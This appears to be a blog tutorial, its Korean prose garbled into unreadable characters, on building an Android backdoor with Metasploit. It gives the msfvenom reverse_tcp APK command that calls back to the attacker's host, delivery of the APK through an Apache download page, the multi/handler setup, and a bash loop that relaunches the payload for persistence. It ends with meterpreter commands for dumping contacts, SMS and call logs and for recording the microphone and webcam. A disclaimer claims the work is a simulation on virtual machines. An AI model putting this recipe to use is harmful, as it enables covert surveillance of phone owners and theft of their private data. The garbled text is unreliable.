Metasploit์ ์ด์ฉํ Android Backdoor ๋ง๋ค๊ธฐ
โป ์ธ๋ถ ๋คํธ์ํฌ๋ฅผ ํตํ ๋ถ๋ฒ์ ์ธ ํดํน์ ๋ฒ์ฃ ํ์์ ๋๋ค. โป
โป ์ด ๋ธ๋ก๊ทธ์ ๋ชจ์ํดํน ๊ธ์ ๊ฐ์ ๋จธ์ ์ ํตํด์ ์ด๋ฃจ์ด์ง ๋ชจ์ํดํน์ ๋๋ค. โป
โก Metasploit์ ๋ฌด์์ธ๊ฐ?
๋ฉํ์คํ๋ก์์ ์คํ์์ค ๋๊ตฌ๋ก, ๊ณต๊ฒฉ ์ฝ๋, ํ์ด๋ก๋ ์ธ์ฝ๋, ์ ์ฐฐ ๋๊ตฌ, ๋ณด์ ํ ์คํ ๋ฑ์ ์ ๊ณตํ๋ ์ผ์ข ์ ์ฒด๊ณ์ด๋ค.
โก ๋ฌด์์ ๋ณด์ฌ์ค ๊ฒ์ธ๊ฐ?
Metasploit์ ์ด์ฉํ์ฌ Android ๋ฐฑ๋์ด ํ๋ก๊ทธ๋จ์ ๋ง๋ค์ด์ ๋ช ๋ น์ด๋ฅผ ์ด์ฉํด, Android ํด๋ํฐ์ ์ ๋ณด๋ค์ ๋นผ ์ฌ ๊ฒ์ด๋ค.
โก ๋ด์ฉ
1. ์๋๋ก์ด๋ ํดํน ๋ฐฑ๋์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ง๋ค๋ ค๋ฉด ๋จผ์ ๊ณต๊ฒฉ์์ ์์ดํผ๋ฅผ ์์์ผ ํ๋ค.
ifconfig๋ฅผ ์ ๋ ฅํด์ IP ์ ๋ณด๋ฅผ ์์๋ผ ์ ์๋ค.
2. msfvenom์ ์ด์ฉํด์ ๋ฐฑ๋์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ฑ์ํจ๋ค.
msfvenom -p android/meterpreter/reverse_tcp LHOST=[๊ณต๊ฒฉ์ IP] LPORT=[์์์ ํฌํธ] R > [APK ํ์ผ ์์ฑ ๊ฒฝ๋ก]
โ msfvenom๊ณผ ํ๋ก๊ทธ๋จ์ ๋ฐ๋ฅธ ์ต์ ์ ๋ํด์
โถ msfvenom ์ด๋?
msfvenom์ ์๋๋ก์ด๋์ Backdoor์ ๋ง๋ค์ด์ root ๊ถํ์ ํ๋ํ์ฌ ์ฐ๋ฝ์ฒ, ์ต๊ทผ ํตํ๋ชฉ๋ก์ ๊ฐ์ ธ์ค๊ณ ์นด๋ฉ๋ผ๋ฅผ ์ ์ดํ๋ ๋ฑ์ ์ฌ๋ฌ๊ฐ์ง ์ทจ์ฝ์ ์ง๋จ์ ํ ์ ์๋ Metasploit์ ๊ธฐ๋ฅ์ด๋ค.
โถ PAYLOAD(-p)๋?
์ต์คํ๋ก์ ์ฑ๊ณต ํ ๋์ ์์คํ ์ ๋ํ ์ถ๊ฐ ๊ณต๊ฒฉ์ ์ํ ์ฝ๋ ๋ชจ์์ด๋ค.
msfvenom -l์ ์ ๋ ฅํ๋ฉด Payload ๋ฆฌ์คํธ๋ค์ ๋ณผ ์ ์๋ค.
โถ R > [APK ํ์ผ ์์ฑ ๊ฒฝ๋ก]
APK ํ์ผ ์์ฑ ๊ฒฝ๋ก ์ค์
3. APK ํ์ผ์ ๋ค์ด๋ฐ์ ์ ์๊ฒ ๋์์ฃผ๋ ์ํ์น ์น์๋ฒ๋ฅผ ์์ํด์ค๋ค.
service apache2 start
์ํ์น ์น ์๋ฒ ๊ฒฝ๋ก: /var/www/html
4. ์นํ์ด์ง๋ฅผ ์ ์ํ์๋ง์ ๋ค์ด๋ก๋ ์ฌ์ดํธ๊ฐ ๋์ค๊ฒ ํ ๊ฒ์ด๋ค.
/var/www/html/index.html์ ์์
โท msfconsole์ ๋์ฐ๊ธฐ ์ ์ ๋จผ์ ์ฌ์ฉํ ๋ชจ๋์ ๋ํด ์๊ณ ์์ด์ผ ํ๋ค.
โ ๋ชจ๋์ด๋?
metasploit framework์ ์ํด ์ฌ์ฉ๋ ์ ์๋ ์ํํธ์จ์ด์ ํ ๋ถ๋ถ
โ ๋ชจ๋์ ๊ดํ ์ ๋ณด๋ค์ ์ด๋ป๊ฒ ์ฐพ๋?
1. msfconsole ์ฐฝ์์ search๋ฅผ ์ ๋ ฅํด์ค๋ค.
2. ์ฌ์ฉํ ๋ชจ๋ : exploit/multi/handler๋ฅผ ์ฐพ์์ค๋ค.
3. ๋ช ๋ น์ด : info exploit/multi/handler๋ก ํด๋น ๋ชจ๋์ ๋ํ ์ธ๋ถ์ ๋ณด๋ฅผ ์ฐพ์๋ณผ ์ ์๋ค.
5. ํฐ๋ฏธ๋์ msfconsole์ ์ ๋ ฅํ๋ค.
msfconsole: ์ฝ์ ๊ธฐ๋ฐ ์ธํฐํ์ด์ค๋ก ๋ฉํ์คํ๋ก์์ ๋๋ถ๋ถ ๊ธฐ๋ฅ์ ์ง์
6. ์ฐพ์๋ธ ๋ชจ๋์ msfconsole์ ์ ๋ ฅํ๋ค.
7. ์๋๋ก์ด๋ ๋ฐฑ๋์ด ์ฑ์ ๋ง๋ค์ด์ค ๋ ์ค์ ํ PAYLOAD๋ฅผ ์ฝ์ ์ฐฝ์ ์ ๋ ฅํ๋ค.
set PAYLOAD [์ค์ ํ payload]
8. ๊ณต๊ฒฉ์ IP ์ค์
set LHOST [ ๊ณต๊ฒฉ์ IP ]
9. PORT ์ค์
set LPORT [๋ฐฑ๋์ด ์ฑ๊ณผ ํต์ ํ ํฌํธ ์ค์ ]
10. ๋ง์ง๋ง์ผ๋ก exploit์ ์ ๋ ฅํ ๋ค, ์ฌ์ฉ์๊ฐ ๋ฐฑ๋์ด ์ฑ์ ์คํํ ๋๊น์ง ๊ธฐ๋ค๋ ค์ค๋ค.
11. ์๋๋ก์ด๋ ํฐ์์ ์ํ์น ์๋ฒ๋ฅผ ์ ์ํด์ค๋ค.
๋ค์ด๋ก๋ ๋งํฌ๋ฅผ ํด๋ฆญํด์ ์ฑ์ ๋ค์ด๋ก๋ํ๋ค.
12. ์ฑ์ด ์ค์น๊ฐ ์๋ฃ๋์๋ค๋ฉด ์ฑ์ ์คํ์์ผ์ค๋ค.
13. msfconsole์๋ ์ธ์ ์ด ์์๋๋ค๋ ๋ฉ์์ง๊ฐ ๋ฌ๋ค.
14. ์ธ์ ์ด ๋์ด์ง ์ํฉ์ ๋๋นํด์ ์ ์คํฌ๋ฆฝํธ ํ์ผ์ ๋ง๋ ๋ค.
โ ์ ์คํฌ๋ฆฝํธ
#!/bin/bash //์ฌ์ฉํ๋ ค๋ ๋ช ๋ น์ด ํด์๊ธฐ๊ฐ bash ์ ์์ ๋ฏธ๋ฆฌ ์๋ ค์ฃผ๋ ๊ฒ์ด๋ค.
while : //์๋์ ๋ช ๋ น๋ค์ ๋ฌดํ๋ฐ๋ณต ์์ผ์ค๋ค.
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
/*am start: am์ activity manager์ ์ฝ์์ด๊ณ , ์กํฐ๋นํฐ๋ฅผ ์์ํ๋ค.
--user 0: user_id๊ฐ 0์ธ ์ฌ์ฉ์์๊ฒ ์กํฐ๋นํฐ๋ฅผ ์คํํ๋ค.
-n [ํจํค์ง ๋ช ]/[์กํฐ๋นํฐ ๊ฒฝ๋ก๋ช ]: /[์กํฐ๋นํฐ ๊ฒฝ๋ก]์์ ํจํค์ง๋ช ์ dot(.) ๋ก ๋์ฒด ๊ฐ๋ฅํ๋ค.
*/
sleep 10; //10์ด ์ฐ๋ค.
done //while๋ฌธ์ ์ข ๋ฃํ๋ค.
→์ ์คํฌ๋ฆฝํธ๋ฅผ ์ด์ฉํ์ฌ ์ฌ์ฉ์์ ๋ฐฑ๋์ด ์ฑ์ 10์ด ๋์ ๊ณ์ ์คํ์์ผ์ฃผ๋ ์ญํ ์ ํ๋ค.
โถ ์๋๋ก์ด๋ ํจํค์ง ๋ฆฌ์คํธ ๋ณด๋ ๋ฒ
adb shell
์๋๋ก์ด๋ ๋ช ๋ น์ด ํ๊ฒฝ์ ๊ตฌ์ฑํด์ค๋ค.
pm list packages -f
-f ์ต์ ์ด ์์ผ๋ฉด apk ์์น๊น์ง ํจ๊ป ํ์ํ๋ค.
๋ฐฑ๋์ด ์ฑ์ ๋ํ ํจํค์ง ๋ช ์ ์ฐพ์๋ค.
โถ ์๋๋ก์ด๋ user list ๋ณด๋ ๋ฒ
1. adb shell //์๋๋ก์ด๋ ๋ช ๋ น์ด ํ๊ฒฝ์ ๊ตฌ์ฑํด์ค๋ค.
2. ๋ช ๋ น์ด : pm list users //์๋๋ก์ด๋ user์ ์ธ๋ถ์ ๋ณด๋ฅผ ํ์ธํ๋ค.
15. ์ ์คํฌ๋ฆฝํธ ํ์ผ์ ์๋๋ก์ด๋ ํฐ์ ์ ๋ก๋ ํ๋ค.
cd [์ ๋ก๋ ํ ๊ฒฝ๋ก] cd : ํ์ฌ ๊ฒฝ๋ก์์ ๋ชฉ์ ์ง ๊ฒฝ๋ก๋ก ์ด๋ํ๋ค.
upload [์คํฌ๋ฆฝํธ ํ์ผ ๊ฒฝ๋ก] [์ ๋ก๋ ํ ๊ฒฝ๋ก] upload : ์ ๋ก๋ ํ ํ์ผ์ ์จ์ฃผ๊ณ ์ ๋ก๋ ๋๋ ๊ฒฝ๋ก๋ฅผ ์จ์ค๋ค.
16. ls๋ช ๋ น์ด๋ก ํ์ผ์ด ์ ์์ ์ผ๋ก ์ ๋ก๋ ๋์๋์ง ํ์ธํ๋ค.
17. shell๋ช ๋ น์ด๋ก ์๋๋ก์ด๋ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ ์ ์๋๋ก ์ ํ๊ฒฝ์ผ๋ก ๋ง๋ ๋ค.
18-1. cd /sdcard //script.sh ํ์ผ์ ๋์์ํค๊ธฐ ์ํด ํ์ผ์ด ์๋ ๊ฒฝ๋ก๋ก ์ด๋ํ๋ค.
18-2. sh script.sh //sh ๋ช ๋ น์ด๋ก script.sh ํ์ผ์ ์คํํ๋ค.
18-3. script.sh //ํ์ผ์ด ์คํ์ด ์์๋์๋ค๋ ๋ฌธ๊ตฌ๋ฅผ ๋ดค๋ค๋ฉด ๋จ์ถํค Ctrl+C๋ก shell ํ๊ฒฝ์ ๋น ์ ธ๋์จ๋ค.
19. ์๋๋ก์ด๋ ์ค๋งํธํฐ์ ์ฌ๋ถํ ์์ผ์ค๋ค.
์๋๋ก์ด๋ ํฐ์ ์ฌ๋ถํ ์ํค๋ฉด msfconsole ์ฐฝ์๋ ์ธ์ ์ด ๋์ด์ก๋ค๊ณ ๋ฌ๋ค.
20. exploit์ ์ ๋ ฅํ ๋ค, ์๋๋ก์ด๋ ์ค๋งํธํฐ์ด ๋ค์ ๋ถํ ๋ ๋๊น์ง ๊ธฐ๋ค๋ ค์ค๋ค.
10์ด ์ฌ์๋ค๊ฐ ๋ค์ ์กํฐ๋นํฐ๋ฅผ ์คํํด์ฃผ๋ script.sh ํ์ผ ๋๋ถ์ ์ธ์ ์ด ๋์ด์ ธ๋ ๋ค์ ์ฐ๊ฒฐ๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
21. help๋ฅผ ์ ๋ ฅํด์ meterpreter์ ๋ช ๋ น์ด๊ฐ ๋ฌด์์ด ์๋์ง ์์๋ณธ๋ค.
๋ถ๋ฅ |
๋ช ๋ น์ด |
๋ด์ฉ |
ํ์ผ ์์คํ ๋ช ๋ น์ด |
cd |
๋๋ ํฐ๋ฆฌ ๊ฒฝ๋ก๋ฅผ ์ด๋ํ ๋ ์ฐ๋ ๋ช ๋ น์ด |
ls |
๋๋ ํฐ๋ฆฌ์ ์๋ ๋ชจ๋ ํ์ผ ๋ฆฌ์คํธ ์ํ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
rm |
ํ์ผ์ ์ง์ธ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
upload |
ํ์ผ์ ์ ๋ก๋ ์ํค๊ณ ์ถ์ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
์์คํ ๋ช ๋ น์ด |
ps |
ํ์ฌ ์คํ๋๋ ํ๋ก์ธ์ค์ ๋ฆฌ์คํธ๋ฅผ ๋ณด๊ณ ์ถ์ ๋ ์ฐ๋ ๋ช ๋ น์ด |
shell |
์๋๋ก์ด๋ ํฐ์ ๋ช ๋ น์ด๋ฅผ ์ฐ๊ณ ์ถ์ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
sysinfo |
๋ฐฑ๋์ด๊ฐ ๊น๋ ค ์๋ ์๋๋ก์ด๋ ํฐ์ ๋ํ ์ ๋ณด๋ฅผ ๋ณด๊ณ ์ถ์ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
๋คํธ์ํฌ ๋ช ๋ น์ด |
ifconfig |
์๋๋ก์ด๋ ํฐ์ ๋ํ ๋คํธ์ํฌ ์ฃผ์๋ฅผ ์๊ณ ์ถ์ ๋ ์ฐ๋ ๋ช ๋ น์ด |
์๋๋ก์ด๋ ๋ช ๋ น์ด |
send_sms |
๋ฒํธ๋ฅผ ์ ๋ ฅํ๊ณ ์์ ์ด ๋ณด๋ผ ๋ฌธ๊ตฌ๋ฅผ ์ ๋ ฅํ๋ฉด ๋ฐฑ๋์ด๊ฐ ์ค์น๋ ์๋๋ก์ด๋ ํฐ์ผ๋ก ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ๋ ์ฐ๋ ๋ช ๋ น์ด ( send_sms –d [๋ฒํธ] -t [๋ฉ์์ง ๋ณด๋ผ ๋ฌธ๊ตฌ] ) |
dump_calllog |
์ ํ ๊ธฐ๋ก ๋ฆฌ์คํธ๋ฅผ ๊ฐ์ ธ์ฌ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
dump_contacts |
์ ํ๋ฒํธ๋ถ ๋ฆฌ์คํธ๋ฅผ ๊ฐ์ ธ์ฌ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
dump_sms |
๋ณด๋ธ, ๋ฐ์ ๋ฉ์์ง ๋ฆฌ์คํธ๋ฅผ ๊ฐ์ ธ์ฌ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
์น์บ ๋ช ๋ น์ด |
record_mic |
์๋๋ก์ด๋ ํฐ ๋ง์ดํฌ ๊ถํ์ ์ด์ฉํด ์ค๋์ค๋ฅผ ๋ น์์ํฌ ๋ ์ฐ๋ ๋ช ๋ น์ด ( record_mic -d [๋ น์ํ๊ณ ์ถ์ ์ด ๋จ์] ) |
webcam_list |
์ฅ์น์ ์ ๋ ฅ๋์ด์๋ ์น์บ ๋ฆฌ์คํธ๋ค์ ๋์ดํ ๋ ์ฐ๋ ๋ช ๋ น์ด |
|
webcam_snap |
์ฅ์น์ ์ ๋ ฅ๋์ด ์๋ ์น์บ ์ ์ด์ฉํด์ ์ฌ์ง์ ์ฐ์ ๋ ์ฐ๋ ๋ช ๋ น์ด ( webcam_snap -l [list์ ๋์จ ๊ฐ] ) |
|
webcam_stream |
์ฅ์น์ ์ ๋ ฅ๋์ด ์๋ ์น์บ ์ ์ด์ฉํด์ ์ค์๊ฐ ๋์์์ ๋ณด๊ณ ์ถ์ ๋ ์ฐ๋ ๋ช ๋ น์ด ( webcam_stream -l [list์ ๋์จ ๊ฐ] ) |
โป ์ธ๋ถ ๋คํธ์ํฌ๋ฅผ ํตํ ๋ถ๋ฒ์ ์ธ ํดํน์ ๋ฒ์ฃ ํ์์ ๋๋ค. โป
โป ์ด ๋ธ๋ก๊ทธ์ ๋ชจ์ํดํน ๊ธ์ ๊ฐ์ ๋จธ์ ์ ํตํด์ ์ด๋ฃจ์ด์ง ๋ชจ์ํดํน์ ๋๋ค. โป
[์ถ์ฒ] : https://hackerrok.tistory.com/4